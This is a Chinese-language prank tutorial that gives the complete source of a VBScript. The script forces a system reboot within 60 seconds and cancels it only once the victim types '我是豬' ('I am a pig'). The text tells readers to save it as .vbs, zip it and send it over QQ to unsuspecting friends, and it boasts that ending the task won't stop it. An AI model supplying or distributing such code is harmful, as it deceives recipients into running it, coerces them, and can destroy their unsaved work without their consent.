小腳本の惡搞關機

首先呢,我們在桌面創建個新文件夾然後打開,在上面找到-工具T-文件夾選項O-查看
把隱藏已知文件類型的擴展名前面的勾去掉.
然後我們開始製作.在桌面建立個記事本,然後把下面代碼複製進去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鐘關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""　","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~" 
複製之後呢,把後綴修改爲.vbs或者改變打開方式爲應用程序，這樣你再壓縮下用QQ發給你朋友，對方打開了就在60秒內要關閉計算機，
結束任務都不行，他只能說 他是豬 才能解決問題。夠壞吧？